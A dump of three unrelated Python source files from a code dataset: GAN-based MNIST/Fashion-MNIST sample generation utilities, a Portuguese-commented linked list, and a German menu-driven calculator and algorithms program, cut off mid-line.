Variable(FloatTensor(np.random.normal(0, 1, (n_row ** 2, opt.latent_dim))))\n    static_sample = generator(z, static_label, static_code)\n    save_image(static_sample.data, folder_im + \"/static/%d.png\" % batches_done, nrow=n_row, normalize=True)\n    zeros = np.zeros((n_row ** 2, 1))\n    c_varied = np.repeat(np.linspace(-1, 1, n_row)[:, np.newaxis], n_row, 0)\n    c1 = Variable(FloatTensor(np.concatenate((c_varied, zeros), -1)))\n    c2 = Variable(FloatTensor(np.concatenate((zeros, c_varied), -1)))\n    sample1 = generator(static_z, static_label, c1)\n    sample2 = generator(static_z, static_label, c2)\n    save_image(sample1.data, folder_im + \"/varying_c1/%d.png\" % batches_done, nrow=n_row, normalize=True)\n    save_image(sample2.data, folder_im + \"/varying_c2/%d.png\" % batches_done, nrow=n_row, normalize=True)\n\n\ndef sample_image2(generator, n_row, batches_done, folder_im):\n    static_z, static_label, static_code = get_static_gen_input()\n    z = Variable(FloatTensor(np.random.normal(0, 1, (n_row ** 2, opt.latent_dim))))\n    static_sample = generator(z, static_label, static_code)\n    save_image(static_sample.data, folder_im + \"/static/%d.png\" % batches_done, nrow=n_row, normalize=True)\n    zeros = np.zeros((n_row ** 2, 1))\n    c_varied = np.repeat(np.linspace(-1, 1, n_row)[:, np.newaxis], n_row, 0)\n    for i in range(opt.code_dim):\n        l = [zeros] * opt.code_dim\n        l[i] = c_varied\n        c = Variable(FloatTensor(np.concatenate(tuple(l), -1)))\n        sample = generator(static_z, static_label, c)\n        name = folder_im + '/varying_c' + str(i + 1) + '/%d.png' % batches_done\n        save_image(sample.data, name, nrow=n_row, normalize=True)\n\n\ndef get_structure_loss(loss_function, code_input, pred_code, negative_edges, positive_edges):\n    loss = 0\n    losses = []\n    gains = []\n    gains2 = []\n    for edge in positive_edges:\n        losses.append(loss_function(pred_code[:, edge[1]], code_input[:, edge[0]]))\n\n    for edge in negative_edges:\n        gains.append(loss_function(pred_code[:, edge[1]], code_input[:, edge[0]]))\n\n    for i in range(pred_code.size()[1]):\n        for j in range(i, pred_code.size()[1]):\n            gains2.append(loss_function(pred_code[:, i], code_input[:, j]))\n\n    if sum(gains) + sum(gains2) > sum(losses):\n        return loss\n    else:\n        return sum(losses) - sum(gains) - sum(gains2)\n\n\ndef get_imbalance_dataloader(labels, sizes):\n    \"\"\" Returns imbalanced train loader \"\"\"\n\n    dataset_list = []\n    for i in range(0, len(labels)):\n        label = labels[i]\n        size = sizes[i]\n        temp_dataset = get_imbalanced_dataset(label, size)\n        dataset_list.append(temp_dataset)\n\n    dataset = ConcatDataset(dataset_list)\n    return DataLoader(dataset, batch_size=opt.batch_size, shuffle=True)\n\n\ndef get_imbalanced_dataset(label, num):\n    \"\"\" Returns specific number of label \"\"\"\n\n    os.makedirs(opt.data_dir, exist_ok=True)\n    dataset = datasets.MNIST(opt.data_dir, train=True, download=True, transform=get_transform())\n    index = (dataset.targets == label)\n    dataset.targets = dataset.targets[index]\n    dataset.data = dataset.data[index]\n\n    indices = torch.randperm(len(dataset.targets))[:num]\n    dataset.targets = dataset.targets[indices]\n    dataset.data = dataset.data[indices]\n    return dataset\n\n\ndef initial_mnist_imbalanced_data(labels, nums, gene_indexes, gene_nums):\n    \"\"\" Returns imbalanced data for CNNs \"\"\"\n\n    images = torch.empty(0).to(device)\n    targets = torch.empty(0, dtype=int).to(device)\n    length = len(labels)\n    for i in range(length):\n        label = labels[i]\n        num = nums[i]\n        generate_index = gene_indexes[i]\n        gene_size = gene_nums[i]\n\n        temp_images, temp_labels = get_specific_label(label, num)\n        temp_images, temp_labels = temp_images.to(device), temp_labels.to(device)\n        temp_gene_images, temp_gene_labels = generate_sample(label, generate_index, gene_size=gene_size)\n\n        images = torch.cat([images, temp_images, temp_gene_images], dim=0)\n        targets = torch.cat([targets, temp_labels, temp_gene_labels], dim=0)\n\n    if cuda:\n        images, targets = images.cpu(), targets.cpu()\n    x, y = shuffle(images.detach().numpy(), targets.detach().numpy())\n    return torch.from_numpy(x), torch.from_numpy(y)\n\n\ndef generate_sample(label, index, gene_size=100):\n    \"\"\" Generates images and targets via GAN \"\"\"\n\n    path = opt.gan_dir + '/GAN_MNIST.pt'\n    generator, _ = get_trained_generator_discriminator(path)\n    if cuda:\n        generator.cuda()\n\n    data = torch.empty(0).to(device)\n    targets = torch.empty(0, dtype=int).to(device)\n    repeat = int(gene_size / 100)\n    for i in range(repeat):\n        gene_data = generate_img(generator, label, index)\n        data = torch.cat([data, gene_data], dim=0)\n\n        targets = torch.cat([targets, torch.from_numpy(np.ones(100, dtype=int) * label).to(device)], dim=0)\n    return data, targets\n\n\ndef get_trained_generator_discriminator(path):\n    generator = g.Generator()\n    checkpoint = torch.load(path, map_location=torch.device('cpu'))\n    generator.load_state_dict(checkpoint['generator'])\n    generator.eval()\n\n    discriminator = d.Discriminator()\n    discriminator.load_state_dict(checkpoint['discriminator'])\n    discriminator.eval()\n    return generator, discriminator\n\n\ndef generate_img(generator, label, label_index, n_row=10):\n    \"\"\" Returns generative result \"\"\"\n\n    static_z, static_label, static_code = get_specific_label_gen_input(label_index)\n    z = Variable(torch.FloatTensor(np.random.normal(0, 0.5, (n_row ** 2, opt.latent_dim))))\n    z = z.to(device)\n    sample = generator(z, static_label, static_code)\n\n    img_dir = opt.gene_img_dir\n    os.makedirs(img_dir, exist_ok=True)\n    name = opt.gene_img_dir + '/gene_label_{}_index_{}.png'.format(label, label_index)\n    save_image(sample.data, name, nrow=n_row, normalize=True)\n\n    return sample\n\n\ndef get_specific_label_gen_input(label_index):\n    \"\"\" Returns specific static label \"\"\"\n\n    static_z = Variable(FloatTensor(np.zeros((opt.n_classes ** 2, opt.latent_dim))))\n    static_label = to_categorical(\n        np.ones(100, dtype=int).dot(label_index), num_columns=opt.n_classes\n    )\n    static_code = Variable(FloatTensor(np.zeros((opt.n_classes ** 2, opt.code_dim))))\n    return static_z, static_label, static_code\n\n\ndef get_specific_label(label, size):\n    \"\"\" Returns specific label with specific number \"\"\"\n\n    torch.manual_seed(0)\n    np.random.seed(0)\n\n    os.makedirs(opt.data_dir, exist_ok=True)\n    train_set = datasets.MNIST(root=opt.data_dir, download=True, train=True, transform=transforms.Compose(\n        [transforms.Resize(32), transforms.ToTensor(), transforms.Normalize([0.5], [0.5])]\n    ))\n\n    idx = (train_set.targets == label)\n    train_set.targets = train_set.targets[idx]\n    train_set.data = train_set.data[idx]\n\n    # randomly select data\n    indices = torch.randperm(len(train_set.targets))[:size]\n    train_set.targets = train_set.targets[indices]\n    train_set.data = train_set.data[indices]\n\n    data_loader = torch.utils.data.DataLoader(train_set, batch_size=len(train_set.targets))\n\n    dataiter = iter(data_loader)\n    images, labels = next(dataiter)\n    return images, labels\n\n\ndef shuffle(data, targets, seed=32):\n    np.random.seed(seed)\n    np.random.shuffle(data)\n    np.random.seed(seed)\n    np.random.shuffle(targets)\n    return data, targets\n\n\ndef print_report(model, test_loader, report_labels=[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]):\n    \"\"\" Print classification report \"\"\"\n\n    pred_labels = []\n    true_labels = []\n    for images, labels in test_loader:\n        outputs = model(images)\n        _, predicted = torch.max(outputs.data, 1)\n        pred_labels = pred_labels + predicted.numpy().tolist()\n        true_labels = true_labels + labels.numpy().tolist()\n\n    report = classification_report(true_labels, pred_labels, labels=report_labels)\n    print(report)\n\n\ndef initial_parameters(dataset):\n    \"\"\" Initial parameters\n    Args:\n        dataset: name of dataset\n\n    Returns:\n        labels: classes in dataset\n        nums: number of each class\n        gene_indexes: relationship between generative label and index\n        gene_nums: number of each class that will generate\n    \"\"\"\n\n    if dataset == 'fashion-mnist':\n        labels = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\n        nums = [4000, 2000, 1000, 750, 500, 350, 200, 100, 60, 40]\n        gene_indexes = [7, 6, 9, 8, 0, 4, 5, 3, 1, 2]\n        gene_nums = [100, 100, 100, 100, 100, 100, 100, 100, 100, 100]\n\n        return labels, nums, gene_indexes, gene_nums\n    else:\n        # mnist\n        labels = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\n        nums = [4000, 2000, 1000, 750, 500, 350, 200, 100, 60, 40]\n\n        gene_indexes = [6, 1, 4, 9, 0, 8, 5, 2, 7, 3]\n        gene_nums = [100, 100, 100, 100, 100, 100, 100, 100, 100, 100]\n\n        return labels, nums, gene_indexes, gene_nums\n\n\ndef initial_fashion_imbalanced_data(labels, nums, gene_indexes, gene_nums):\n\n    images = torch.empty(0).to(device)\n    targets = torch.empty(0, dtype=int).to(device)\n    length = len(labels)\n    for i in range(length):\n        label = labels[i]\n        size = nums[i]\n        gene_index = gene_indexes[i]\n        gene_num = gene_nums[i]\n\n        temp_images, temp_labels = get_fashion_specific_label(label, size)\n        temp_gene_images, temp_gene_labels = generate_fashion_sample(label, gene_index, gene_num)\n\n        images = torch.cat([images, temp_images, temp_gene_images], dim=0)\n        targets = torch.cat([targets, temp_labels, temp_gene_labels], dim=0)\n\n    if cuda:\n        images, targets = images.cpu(), targets.cpu()\n    x, y = shuffle(images.detach().numpy(), targets.detach().numpy())\n    return torch.from_numpy(x), torch.from_numpy(y)\n\n\ndef get_fashion_specific_label(label, size):\n    train_set = datasets.FashionMNIST(root=opt.fashion_data_dir, download=True, train=True, transform=transforms.Compose(\n        [transforms.Resize(32), transforms.ToTensor(), transforms.Normalize([0.5], [0.5])]\n    ))\n\n    idx = (train_set.targets == label)\n    train_set.targets = train_set.targets[idx]\n    train_set.data = train_set.data[idx]\n\n    indices = torch.randperm(len(train_set.targets))[:size]\n    train_set.targets = train_set.targets[indices]\n    train_set.data = train_set.data[indices]\n\n    data_loader = torch.utils.data.DataLoader(train_set, batch_size=len(train_set.targets))\n\n    dataiter = iter(data_loader)\n    images, labels = next(dataiter)\n    return images.to(device), labels.to(device)\n\n\ndef generate_fashion_sample(label, index, gene_num=100):\n    \"\"\"\n    generate images, labels via GAN\n    \"\"\"\n\n    # set code_dim\n    opt.code_dim = 3\n\n    generator, _ = get_trained_generator_discriminator(opt.gan_dir + '/GAN_Fashion_MNIST.pt')\n    if cuda:\n        generator.cuda()\n\n    data = torch.empty(0).to(device)\n    targets = torch.empty(0, dtype=int).to(device)\n    repeat = int(gene_num / 100)\n    for i in range(repeat):\n        gene_data = generate_fashion_img(generator, label, index)\n        data = torch.cat([data, gene_data], dim=0)\n\n        targets = torch.cat([targets, torch.from_numpy(np.ones(100, dtype=int) * label).to(device)], dim=0)\n    return data, targets\n\n\ndef generate_fashion_img(generator, label, label_index, n_row=10, factor=4.9):\n    \"\"\" Returns generative result \"\"\"\n\n    static_z, static_label, static_code = get_specific_label_gen_input(label_index)\n    z = Variable(torch.FloatTensor(np.random.normal(0, 0.2, (n_row ** 2, opt.latent_dim))))\n    z = z.to(device)\n\n    zeros = np.zeros((n_row ** 2, 1))\n    c_varied = torch.randn(100, 1) * factor\n\n    # code\n    l = [zeros] * opt.code_dim\n    l[2] = c_varied\n    code = Variable(torch.FloatTensor(np.concatenate(tuple(l), -1)))\n    code = code.to(device)\n\n    sample = generator(z, static_label, code)\n\n    # save image\n    img_dir = opt.gene_img_dir\n    os.makedirs(img_dir, exist_ok=True)\n    name = opt.gene_img_dir + '/gene_fashion_label_{}_index_{}.png'.format(label, label_index)\n    save_image(sample.data, name, nrow=n_row, normalize=True)\n\n    return sample\n","repo_name":"fudonglin/IMSIC","sub_path":"source/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":15244,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"8545998548","text":"from node import Node\n\n\nclass LinkedList:\n    def __init__(self):\n        self.head = None\n        self.last = None\n        self._size = 0\n\n    # Inserir elementos no final da lista.\n    def append(self, element):\n        # Caso exista um elemento já na lista.\n        if self.head:\n            # Inserção quando a lista já possui elementos\n            pointer = self.head\n            ls = None\n            # Pegar a posição da memória onde não exista nada no próximo next\n            while(pointer.next):\n                ls = pointer\n                pointer = pointer.next\n            pointer.next = Node(element)\n            pointer.next.ls = pointer\n            pointer.ls = ls\n            if self.last:\n                self.last = pointer.next\n\n        # Se não insira o primeiro elemento na lista.\n        else:\n            # Primeira inserção\n            self.head = Node(element)\n            self.last = Node(element)\n        self._size = self._size + 1\n\n    def __len__(self):\n        # Retorna o tamanho da lista.\n        return self._size\n\n    def _get_node(self, index):\n        pointer = self.head\n        for i in range(index):\n            if pointer:\n                pointer = pointer.next\n            else:\n                raise IndexError(\"list index out of range\")\n        return pointer\n\n    def set(self, index, element):\n        pass\n\n    def __getitem__(self, index):\n        # Recuperar o valor a partir de []\n        # a = lista[6]\n        pointer = self._get_node(index)\n        if pointer:\n            return pointer.data\n        raise IndexError(\"list index out of range\")\n\n\n    def __setitem__(self, index, element):\n        # lista[5] = 9\n        pointer = self._get_node(index)\n        if pointer:\n            pointer.data = element\n        else:\n            raise IndexError(\"list index out of range\")\n\n    def index(self, element):\n        # Retorna o índice do element na lista\n        pointer = self.head\n        i = 0\n        # for diferente de None\n        while(pointer):\n            if pointer.data == element:\n                return i\n            pointer = pointer.next\n            i = i + 1\n        raise ValueError(f'{element} is not in list')\n\n    def insert(self, index, element):\n        node = Node(element)\n        if index == 0:\n            node.next = self.head\n            self.head = node\n        else:\n            pointer = self._get_node(index-1)\n            node = Node(element)\n            node.next = pointer.next\n            pointer.next = node\n        self._size = self._size + 1\n\n    def dell(self):\n        pass\n\n    # Imprimir a lista.\n    def get_lista(self):\n        if self.head == None:\n            raise IndexError(\"Empty list\")\n        else:\n            print(\"Ordem normal, conforme foi inserido os elementos\")\n            pointer = self.head\n            while(pointer):\n                print(f'{pointer.data}, ', end=\"\")\n                pointer = pointer.next\n            print(f'\\nTamanho da lista: {self._size}')\n            print(\"--------------------------\")\n\n    # Imprimir a lista (inversalmente)\n    def get_lista_inversa(self):\n        pointer = self.last\n        print(\"Ordem inversa dos elementos inseridos\")\n        while(pointer):\n            print(f'{pointer.data}, ', end=\"\")\n            pointer = pointer.ls\n        print(f'\\nTamanho da lista: {self._size}')\n        print(\"--------------------------\")","repo_name":"kristoferkrindges/lista_encadeada","sub_path":"list.py","file_name":"list.py","file_ext":"py","file_size_in_byte":3397,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"31323508907","text":"import sqlite3, time, random, re\r\n\r\nclass Rechner:\r\n\r\n    def diff():\r\n        # Funktion zum Ableiten von Polynomen\r\n        print(\"\\nEs müssen Grad des Polynoms und die Koeffizienten \" +\r\n              \"in absteigender Reihenfolge eingegeben werden.\\n\")\r\n        \r\n        max_exp = int(input(\"Grad des Polynoms: \"))\r\n        n = max_exp + 1\r\n        \r\n        coeff_init = [0] * n\r\n        exp_init = [] \r\n\r\n        # Initialisiere Exponenten in absteigender Reihenfolge\r\n        for i in range(max_exp,-1,-1):\r\n            exp_init += [i]\r\n\r\n        # Koeffizienten werden vom Benutzer eingelesen\r\n        for i in range(0, len(coeff_init)):\r\n            coeff_init[i] = int(input(\"Koeffizient \" + str(i) + \": \"))\r\n\r\n        new_coeff = [0] * n\r\n        new_exp = [0] * n\r\n\r\n        # Berechne die neuen Koeffizienten und Exponenten\r\n        for i in range(0, len(coeff_init)):\r\n            new_coeff[i] = coeff_init[i] * exp_init[i]\r\n            if exp_init[i] > 0:\r\n                new_exp[i] = exp_init[i] - 1\r\n            else:\r\n                new_exp[i] = exp_init[i]\r\n\r\n        # Darstellung des Polynoms\r\n        print(\"\\nDas Polynom f(x): \")\r\n\r\n        for i in range(0,len(coeff_init)):\r\n            if coeff_init[i] != 0:\r\n                if exp_init[i] > 0:\r\n                    print(str(coeff_init[i]) + \"x^\" + str(exp_init[i]), end=\" + \")\r\n                else:\r\n                    print(str(coeff_init[i]))\r\n            else:\r\n                print(\"\",end=\"\")\r\n                \r\n        print(\"\\nDie Ableitung f'(x) ist: \")\r\n\r\n        for i in range(0,len(new_coeff)):\r\n            if new_coeff[i] != 0:\r\n                if new_exp[i] > 0:\r\n                    print(str(new_coeff[i]) + \"x^\" + str(new_exp[i]), end=\" + \")\r\n                else:\r\n                    print(str(new_coeff[i]))\r\n            else:\r\n                print(\"\",end=\"\")\r\n\r\n    def integral():\r\n        # Funktion zum Integrieren von Polynomen\r\n        print(\"\\nEs müssen Grad des Polynoms und die Koeffizienten \" +\r\n              \"in absteigender Reihenfolge eingegeben werden.\\n\")\r\n        \r\n        max_exp = int(input(\"Grad des Polynoms: \"))\r\n        n = max_exp + 1\r\n        \r\n        coeff_init = [0] * n\r\n        exp_init = []\r\n\r\n        # Initialisiere Exponenten in absteigender Reihenfolge\r\n        for i in range(max_exp, -1, -1):\r\n            exp_init += [i]\r\n\r\n        # Koeffizienten werden vom Benutzer eingelesen\r\n        for i in range(0,len(coeff_init)):\r\n            coeff_init[i] = int(input(\"Koeffizient \" + str(i) + \": \"))\r\n\r\n        new_coeff = [0] * n\r\n        new_exp = [0] * n\r\n\r\n        # Berechne die neuen Koeffizienten und Exponenten\r\n        for i in range(0, len(new_coeff)):\r\n            new_coeff[i] = coeff_init[i] / (exp_init[i]+1)\r\n            new_exp[i] = exp_init[i] + 1\r\n\r\n        # Darstellung des Polynoms\r\n        print(\"\\nDas Polynom f(x): \")\r\n\r\n        for i in range(0,len(coeff_init)):\r\n            if coeff_init[i] != 0:\r\n                if exp_init[i] > 0:\r\n                    print(str(coeff_init[i]) + \"x^\" + str(exp_init[i]),end=\" + \")\r\n                else:\r\n                    print(coeff_init[i])\r\n            else:\r\n                print(\"\",end=\"\")\r\n\r\n        print(\"\\nDie Stammfunktion F(x): \")\r\n\r\n        for i in range(0, len(new_coeff)):\r\n            if new_coeff[i] != 0:\r\n                if new_exp[i] > 1:\r\n                    print(str(new_coeff[i]) + \"x^\" + str(new_exp[i]),end=\" + \")\r\n                elif new_exp[i] == 1:\r\n                    print(str(new_coeff[i]) + \"x + C\" )\r\n            else:\r\n                print(\"\",end=\"\")\r\n\r\n    ## / Binär -> Dezimal Umwandler\r\n    def binToDec():\r\n        m = input(\"Binärzahl eingeben: \")\r\n        # Initialisiere Dezimalzahl n_dec\r\n        n_dec = 0\r\n        \r\n        # Berechne die Zweierpotenzen und addiere die Ergebnisse\r\n        for i in range(len(m)-1, -1, -1):\r\n            res = int(m[i]) * (2 ** (len(m)-1-i))\r\n            n_dec += res\r\n            \r\n        return n_dec\r\n\r\n    ## / Dezimal -> Binär Umwandler\r\n    def decToBin():\r\n        dz = int(input(\"Dezimalzahl eingeben: \"))\r\n        n_bin = \"\"\r\n        # Teile die Zahl durch 2 und starte damit die Liste zerg\r\n        # Halte den Rest in mods fest\r\n        zerg = [dz // 2]\r\n        mods = [dz % 2]\r\n\r\n        i = 0\r\n        while True:\r\n            # Berechne alle Quotienten \r\n            erg = zerg[i] // 2\r\n            zerg += [erg]\r\n            # Berechne alle Reste\r\n            emods = zerg[i] % 2\r\n            mods += [emods]\r\n        \r\n            i += 1\r\n            \r\n            # Die Rechnung ist fertig, wenn der ganzzahlige Quotient 0 ist.\r\n            if erg == 0:\r\n                break\r\n\r\n        # Nimm die Reste in umgekehrter Reihenfolge auf\r\n        for i in range(len(mods)-1,-1,-1):\r\n            n_bin += str(mods[i])\r\n            \r\n        return n_bin\r\n\r\n    def menu():\r\n        # Navigiert durch die Klasse 'Rechner'\r\n        print(\"\\n==== Im Menüpunkt 'Rechner' ====\")\r\n        print(\"Menüpunkte:\" +\r\n              \"\\n1. Ableitung von Polynomen\" + \r\n              \"\\n2. Integration von Polynomen\" + \r\n              \"\\n3. Dezimal/ Binär - Konvertierer\" +\r\n              \"\\n4. Zurück zum Hauptmenü\")\r\n        \r\n        menu = input(\"Punkt auswählen: \")\r\n        \r\n        if menu == \"1\":\r\n            Rechner.diff()\r\n            Rechner.menu()\r\n\r\n        elif menu == \"2\":\r\n            Rechner.integral()\r\n            Rechner.menu()\r\n\r\n        elif menu == \"3\":\r\n            print(\"\\nUnterpunkte\" +\r\n                  \"\\n 1. Dezimal -> Binär\" + \r\n                  \"\\n 2. Binär -> Dezimal\")\r\n            untermenu = input(\"Unterpunkt auswählen: \")\r\n\r\n            if untermenu == \"1\":\r\n                print(\"Binär: \" + str(Rechner.decToBin()))\r\n                Rechner.menu()\r\n\r\n            elif untermenu == \"2\":\r\n                print(\"Dezimal: \" + str(Rechner.binToDec()))\r\n                Rechner.menu()\r\n\r\n            else:\r\n                print(\"Ungültige Eingabe\\n\")\r\n                Rechner.menu()\r\n                \r\n        elif menu == \"4\":\r\n            Hauptmenu.menu()\r\n            \r\n        else:\r\n            print(\"Ungültige Eingabe\\n\")\r\n            Rechner.menu()\r\n\r\nclass Algorithmen:\r\n\r\n    # // Wiederholte Quersummen\r\n    # Für eine gegebene ganze Zahl n wird die wiederholte Quersumme berechnet.\r\n    # // Beispiele\r\n    # rep_qs(123) => 6\r\n    # rep_qs(83) => 2 , da 8+3 = 11 und 1+1 = 2\r\n    # rep_qs(4582) => 1, da 4+5+8+2=19, 1+9=10, 1+0=1\r\n\r\n    def rep_qs(n):\r\n        n_str = str(n)\r\n        \r\n        if len(n_str) > 1:\r\n            qsum = 0\r\n            \r\n            for i in range(len(n_str)):\r\n                qsum += int(n_str[i])\r\n\r\n            # Wiederhole die Rechnung bis das Ergebnis aus einer\r\n            # einzelnen Ziffer besteht\r\n            if len(str(qsum)) > 1:\r\n                return Algorithmen.rep_qs(qsum)\r\n            \r\n            else:\r\n                return qsum\r\n\r\n        else:\r\n            return n\r\n    \r\n    # // Aufzählen und Überprüfen\r\n    # Gibt die ersten n Zahlen an, dessen wiederholte Quersumme der\r\n    # ersten Ziffern der letzten Ziffer gleicht.\r\n    # Auch: Wie viele dieser Zahlen gibt es?\r\n    # // Beispiele\r\n    # 1236, da 1+2+3=6\r\n    # 1282, da 1+2+8=11 und 1+1=2\r\n\r\n    def new_rep_qs(n):\r\n        # Initialisierung\r\n        counter = 0\r\n        numbers = []\r\n\r\n        for i in range(0, n+1):\r\n            i_str = str(i)\r\n\r\n            # digits sind alle Ziffern der Zahl i bis auf die letzte\r\n            digits = i_str[0:len(i_str)-1]\r\n\r\n            # digit ist die letzte Ziffer der Zahl i\r\n            digit = i_str[len(i_str)-1]\r\n\r\n            # Benutze die Funktion rep_qs für die wiederholte Quersumme\r\n            qsum = Algorithmen.rep_qs(digits)\r\n\r\n            if str(qsum) == digit:\r\n                counter += 1\r\n                numbers += [i]\r\n\r\n        return counter, numbers \r\n\r\n    # // Sortieralgorithmen und Laufzeiten\r\n    # Es wird die Methode Bubblesort verwendet.\r\n\r\n    def bubbleSortLaufzeit():\r\n        l = []\r\n        # Erstelle zufällige Liste mit 200 Elementen zwischen 0 und 15\r\n        for i in range(200):\r\n            num = random.randint(0,15)\r\n            l += [num]\r\n            \r\n        print(\"Originale Liste: \\n\" + str(l), \"\\n\")\r\n        t0 = time.time()\r\n        sortbubb = Algorithmen.bubbleSort(l)\r\n        print(\"Sortierte Liste mit BubbleSort: \\n\" + str(sortbubb), \"\\n\")\r\n        t1 = time.time()\r\n        # diff_ms ist die Lauzeit in Millisekunden\r\n        diff_ms = (t1 - t0) * 1000\r\n        diff_ms_str = str(diff_ms)\r\n        print(\"Laufzeit: \", diff_ms_str[0:7], \"Millisekunden\")\r\n\r\n    def bubbleSort(l):\r\n        # Sortierung einer Liste mit BubbleSort. Zwei benachbarte\r\n        # Elemente werden verglichen. Ist das nachfolgende Element\r\n        # kleiner, so werden beide Elemente vertauscht.\r\n        \r\n        for i in range(len(l)-1,0,-1):\r\n            for j in range(i):\r\n                if l[j] > l[j+1]:\r\n                    ind_j = l[j]\r\n                    l[j] = l[j+1]\r\n                    l[j+1] = ind_j\r\n        return l\r\n\r\n    def scan(l, i , j):\r\n        # Zuerst wird das erste Element mit dem Rest der Liste verglichen.\r\n        # Addieren sich keine Elemente zu Null, dann wird das zweite Element\r\n        # mit dem Rest der Liste verglichen, dann das dritte etc.\r\n\r\n        # // Beispiele\r\n        # [8, 4, 8, 8, 8, 0, 7, 3, 4, 5] ergibt False.\r\n        # [2, 2, 10, 3, 5, 1, 7, -3, 5] ergibt True,\r\n        # da -3 + 3 = 0 sind.\r\n        \r\n        if i >= len(l):\r\n            print(\"Listenende erreicht. Keine Elemente addieren sich zu Null.\")\r\n            return False\r\n        \r\n        elif j >= len(l):\r\n            return Algorithmen.scan(l, i+1, i+2)\r\n        \r\n        elif l[i] + l[j] == 0:\r\n            print(str(l[i]) + \" + \" + str(l[j]) + \" = 0\")\r\n            return True\r\n        \r\n        else:\r\n            return Algorithmen.scan(l, i, j+1)\r\n\r\n    # // Initialisierung von scan(l, i, j)\r\n    # init vergleicht das erste Element mit dem zweiten.\r\n    def init():\r\n        liste = []\r\n        # Eine Liste mit zehn zufälligen Zahlen zwischen -10 und 10\r\n        # wird erzeugt.\r\n        for i in range(0, 10):\r\n            num = random.randint(-10,10)\r\n            liste += [num]\r\n            \r\n        print(liste)\r\n        \r\n        return Algorithmen.scan(liste, 0, 1)\r\n\r\n    def histogram():\r\n        # // Funktion zum Erstellen eines Histogramms einer zufälligen Liste\r\n        # Erstellt eine liste l mit m Zahlen der Reichweite n\r\n        n = 10\r\n        m = 50\r\n        l = []\r\n        for i in range(m):\r\n            num = random.randint(0, n-1)\r\n            l += [num]\r\n        print(\"\\nListe: \", l)\r\n        # Initialisierung\r\n        counter = [0] * n\r\n        # Geht die Liste l durch und prüft, wie oft jede Zahl vorkommt\r\n        for i in range(len(l)):\r\n            for j in range(n):\r\n                if l[i] == j:\r\n                    counter[j] += 1\r\n\r\n        # Ausgabe\r\n        print(\"\\nHäufigkeiten: \", counter)\r\n        print(\"\\nZahl \\t Häufigkeit\")\r\n        for i in range(n):\r\n            print(i, \"\\t\", counter[i] * \"#\")\r\n\r\n    # // Anwendungen mit RegEx\r\n    # 1. Text auf die Anzahl eines bestimmten Wortes durchsuchen\r\n    # 2. Text auf Uhrzeiten durchsuchen\r\n    # 3. Text auf Palindrome durchsuchen\r\n\r\n    def searchText(n):\r\n        search = input(\"Suche nach folgendem Wort: \")\r\n        x = re.findall(search, n)\r\n        print(\"Das Wort\", search, \"kommt\", len(x), \"mal vor im Text\")\r\n\r\n    def searchTimes(n):\r\n        regexp = \"(2[0-3]|[01]?[0-9]):([0-5][0-9])\"\r\n        z = re.search(regexp, n)\r\n\r\n        if z == None:\r\n            print(\"Keine Uhrzeiten im Text gefunden!\")\r\n            \r\n        while z != None:\r\n            print(z.group())\r\n            n = n[z.end():]\r\n            z = re.search(regexp, n)\r\n\r\n    def searchPalindrome(n):\r\n        # Gibt alle Palindrome und deren Anzahl an\r\n\r\n        # Der Text wird in eine Liste verwandelt, wobei jedes\r\n        # Wort im Text ein Element in der Liste darstellt\r\n        words = re.split(\"\\s\", n)\r\n\r\n        # Die Palindrome und deren Häufigkeit\r\n        counter = 0\r\n        res = []\r\n        \r\n        # Durchsuche jedes Element der Liste \r\n        for i in range(0, len(words)):\r\n            rev_word = \"\"\r\n            \r\n            # Drehe jedes Wort einzeln um\r\n            for j in range(len(words[i])-1, -1, -1):\r\n                # Füge alle Buchstaben in umgekehrter Reihenfolge ein\r\n                rev_word += words[i][j]\r\n            \r\n            # Palindrom gefunden, wenn das Wort an der Stelle i dem\r\n            # umgekehrten Wort an Stelle i gleicht\r\n            if rev_word == words[i]:\r\n                counter += 1\r\n                res += [rev_word]\r\n\r\n        if counter == 0:\r\n            print(\"Keine Palindrome im Text.\")\r\n        else:\r\n            print(\"Anzahl: \" + str(counter))\r\n            print(\"Palindrome: \" + str(res))\r\n\r\n    def initRegEx():\r\n        # Hilfsfunktion zum Navigieren der RegEx Funktionen\r\n        print(\"\\nDiese Funktion durchsucht einen Text mithilfe von \" +\r\n              \"regulären Ausdrücken.\")\r\n        print(\"Möglichkeiten: \" +\r\n              \"\\n1. Text nach einem bestimmten Wort durchsuchen\" +\r\n              \"\\n2. Text nach Uhrzeiten durchsuchen\" +\r\n              \"\\n3. Text nach Palindromen durchsuchen\" +\r\n              \"\\n4. Zurück\")\r\n        \r\n        txt = input(\"Text eingeben: \")\r\n\r\n        untermenu = input(\"Option auswählen: \")\r\n        \r\n        if untermenu == \"1\":\r\n            Algorithmen.searchText(txt)\r\n            \r\n        elif untermenu == \"2\":\r\n            Algorithmen.searchTimes(txt)\r\n            \r\n        elif untermenu == \"3\":\r\n            Algorithmen.searchPalindrome(txt)\r\n            \r\n        elif untermenu == \"4\":\r\n            print(\"zurück\")\r\n            \r\n        else:\r\n            print(\"falsche eingabe\")\r\n\r\n    def menu():\r\n        # Navigiert die Klasse \"Algorithmen\"\r\n        print(\"\\n==== Im Menüpunkt 'Algorithmen' ====\")\r\n        print(\"Menüpunkte:\" +\r\n              \"\\n1. Wiederholte Quersummen\" + \r\n              \"\\n2. Aufzählen und Überprüfen\" + \r\n              \"\\n3. Sortierung mit Bubblesort/ Laufzeit\" + \r\n              \"\\n4. Durchsuchen einer Liste mit Rekursion\" +\r\n              \"\\n5. Histogramm einer Liste\" +\r\n              \"\\n6. Durchsuchen eines Strings mit regulären Ausdrücken\" +\r\n              \"\\n7. Zurück zum Hauptmenü\")\r\n\r\n        menu = input(\"Punkt auswählen: \")\r\n\r\n        if menu == \"1\":\r\n            print(\"\\nEs wird die wiederholte Quersumme der eingegebenen \" +\r\n                  \"Zahl berechnet.\")\r\n            zahl = int(input(\"Zahl eingeben: \"))\r\n            print(\"Die wiederholte Quersumme der Zahl \" + str(zahl) +\r\n                  \" ist: \" + str(Algorithmen.rep_qs(zahl)))\r\n            Algorithmen.menu()\r\n            \r\n        elif menu == \"2\":\r\n            print(\"\\nEs werden die ersten n Zahlen und deren Häufigkeit \" +\r\n                  \"ausgegeben, dessen wiederholte 